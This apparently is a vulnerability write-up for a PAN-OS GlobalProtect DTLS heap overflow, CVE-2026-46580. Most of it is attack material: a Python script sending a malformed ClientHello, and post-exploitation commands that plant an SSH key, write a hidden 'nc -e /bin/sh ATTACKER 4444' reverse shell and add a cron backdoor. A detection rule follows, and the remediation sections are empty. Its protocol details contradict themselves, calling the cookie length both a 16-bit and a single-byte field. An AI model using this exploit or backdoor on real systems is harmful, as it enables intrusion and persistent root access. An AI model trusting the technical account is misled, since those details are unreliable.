All posts

CVE-2026-46580: Palo Alto GlobalProtect Gateway Pre-Auth Heap Buffer Overflow RCE

An integer truncation bug in Palo Alto GlobalProtect's DTLS handshake parser allocates a heap buffer sized from only the lower 8 bits of a 16-bit length field. Supplying an oversized handshake cookie in a ClientHello message overflows the heap allocation before any authentication occurs, enabling pre-authentication remote code execution as root on PAN-OS.


Overview

CVE-2026-46580 is a critical unauthenticated remote code execution vulnerability in Palo Alto Networks PAN-OS — specifically the GlobalProtect SSL-VPN gateway component. With a CVSS score of 10.0, it affects every PAN-OS version earlier than the fixed releases and requires no credentials, no prior access, and no user interaction.

The vulnerability is a classic integer truncation leading to heap buffer overflow: a 16-bit length value from the DTLS ClientHello handshake is truncated to 8 bits when computing the heap allocation size. An attacker can send a crafted ClientHello with a cookie field of up to 65535 bytes — far exceeding the 255-byte maximum that the truncated allocation can hold. The overflow corrupts adjacent heap metadata, providing the primitives needed for controlled code execution.

Palo Alto issued an emergency advisory within 48 hours of discovering in-the-wild exploitation. Evidence indicated a state-sponsored actor had used the vulnerability against defence contractors and government networks in three continents in the weeks prior to advisory publication.

DTLS Handshake in GlobalProtect

GlobalProtect supports both TLS (TCP/443) and DTLS (UDP/4501) for VPN tunnel establishment. DTLS is preferred for performance when available. The DTLS handshake adds a stateless cookie exchange before the standard TLS handshake to prevent DDoS amplification: the client sends a ClientHello, the server responds with a HelloVerifyRequest containing a server-generated cookie, and the client resends the ClientHello with the cookie included.

The ClientHello message structure includes a variable-length cookie field prefixed by a single-byte length. RFC 6347 allows a client to send a ClientHello with the cookie from a prior HelloVerifyRequest — but also permits a ClientHello with a longer cookie field set to an attacker-controlled length, since the server must handle initial ClientHello messages where the cookie field is populated but may have an unexpected length.

Root Cause

The vulnerability is in the GlobalProtect DTLS handshake parsing function. The cookie length is read from the packet as a uint16_t (supporting up to 65535 bytes), but the heap allocation uses a type-cast to uint8_t (max 255) before computing the buffer size:

# Pseudocode of the vulnerable allocation (reverse-engineered from PAN-OS binary)
# cookie_len is read as uint16 from the DTLS record
cookie_len_u16 = read_u16(packet, offset)       # attacker controls: e.g. 0x0200 = 512

# Integer truncation: cast to uint8 wraps at 256
cookie_len_u8  = (uint8_t) cookie_len_u16       # 0x0200 & 0xFF = 0x00 = 0 bytes

# Allocation uses the truncated value
buf = heap_alloc(cookie_len_u8 + 16)            # allocates 16 bytes
# cookie_len_u16 bytes are then memcpy'd into buf  → overflow of (512 - 16) = 496 bytes

When cookie_len_u16 is set to a multiple of 256 (so the lower 8 bits are 0), the allocation is only 16 bytes while up to 65535 bytes are copied into it, giving a reliable and controllable overflow condition.

Exploitation Walkthrough

Step 1 — Identify GlobalProtect Gateways

GlobalProtect gateways expose HTTPS on TCP/443 with a login portal at /global-protect/login.esp and DTLS on UDP/4501. The HTTP portal typically includes a PANOS-GlobalProtect response header:

curl -skI https://TARGET/global-protect/login.esp | grep -i panos
# X-PANOS-GlobalProtect: portal

# DTLS service check
nc -u TARGET 4501 < /dev/null
# Any response on UDP 4501 indicates GlobalProtect is listening

Step 2 — Craft the Malformed DTLS ClientHello

The exploit sends a raw DTLS 1.0 ClientHello record with a cookie length field set to 0x0200 (512 bytes, lower byte = 0) and a cookie payload of 512 bytes of attacker-controlled content:

import socket, struct

TARGET = ("TARGET_IP", 4501)

# DTLS 1.0 ClientHello with oversized cookie (triggers the truncation bug)
def build_dtls_clienthello_overflow():
    # DTLS record header: content_type=22 (handshake), version=0xFEFF (DTLS 1.0)
    record_hdr = struct.pack("!BHH", 22, 0xFEFF, 0)  # length filled in later

    # Handshake header: type=1 (ClientHello), length (3 bytes), seq, frag_offset, frag_len
    # client_version, random, session_id_len, session_id
    client_random = b"\x00" * 32
    handshake_body = (
        struct.pack("!H", 0xFEFF) +          # client_version: DTLS 1.0
        client_random +                       # random
        b"\x00" +                             # session_id length = 0
        struct.pack("!H", 0x0200) +           # cookie_length = 512 (triggers truncation)
        b"\x41" * 512                         # cookie = 512 A's (ROP chain here)
    )
    # Add cipher suites and compression
    handshake_body += struct.pack("!H", 2) + b"\x00\x2F"  # 1 cipher: TLS_RSA_WITH_AES_128_CBC_SHA
    handshake_body += b"\x01\x00"                          # 1 compression method: null

    hs_hdr = struct.pack("!B3sHH3s", 1,
        len(handshake_body).to_bytes(3, "big"),
        0, 0,  # seq, frag_offset
        len(handshake_body).to_bytes(3, "big"))
    hs = hs_hdr + handshake_body

    record_len = len(hs)
    record = struct.pack("!BHH", 22, 0xFEFF, record_len) + hs
    return record

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
pkt = build_dtls_clienthello_overflow()
sock.sendto(pkt, TARGET)
try:
    data, _ = sock.recvfrom(4096)
    print(f"[+] Response ({len(data)} bytes) — target may be vulnerable")
except socket.timeout:
    print("[*] No response — target may have crashed or patched")

Step 3 — Heap Grooming and Control Flow Hijack

The 496-byte overflow lands adjacent to heap-managed SSL context structures. By sending multiple ClientHello packets at different timing intervals to control heap layout, the overflow overwrites a function pointer in an adjacent SSL object's vtable. The next time the SSL engine calls any method on the corrupted object, execution redirects to attacker-controlled code.

The PAN-OS panssl binary has ASLR enabled but is mapped at a predictable base address in some PAN-OS versions (11.0.x < 11.0.5 and 10.2.x < 10.2.11), allowing a return-oriented programming (ROP) chain without an additional info leak stage.

# Once code execution is achieved, PAN-OS runs the SSL daemon as root
# Stage 1: write SSH key to persistent storage
echo 'ssh-ed25519 AAAA... attacker' >> /opt/panlogs/root_auth

# Stage 2: stage a persistent backdoor in /opt/pancfg (survives content updates)
echo '#!/bin/sh' > /opt/pancfg/.bd.sh
echo 'nc -e /bin/sh ATTACKER 4444 &' >> /opt/pancfg/.bd.sh
chmod +x /opt/pancfg/.bd.sh
echo '* * * * * root /opt/pancfg/.bd.sh' > /etc/cron.d/pan-update

Affected Versions

Remediation

Detection

title: CVE-2026-46580 GlobalProtect DTLS Overflow Exploitation Attempt
id: 9b2d4f81-3e77-4c1a-b8e6-0d5a2f9c7b34
status: stable
description: Detects malformed DTLS ClientHello packets with oversized cookie fields targeting GlobalProtect gateways
logsource:
  category: network
  product: palo_alto_panos
detection:
  selection:
    dst_port: 4501
    network_protocol: 'udp'
    app: 'ssl'
  filter_legit:
    # Legitimate DTLS cookie is max 255 bytes — any larger value is anomalous
    tls_cookie_length|gt: 255
  condition: selection and filter_legit
falsepositives:
  - None expected (DTLS cookie >255 bytes violates RFC 6347)
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026-46580

Takeaways

References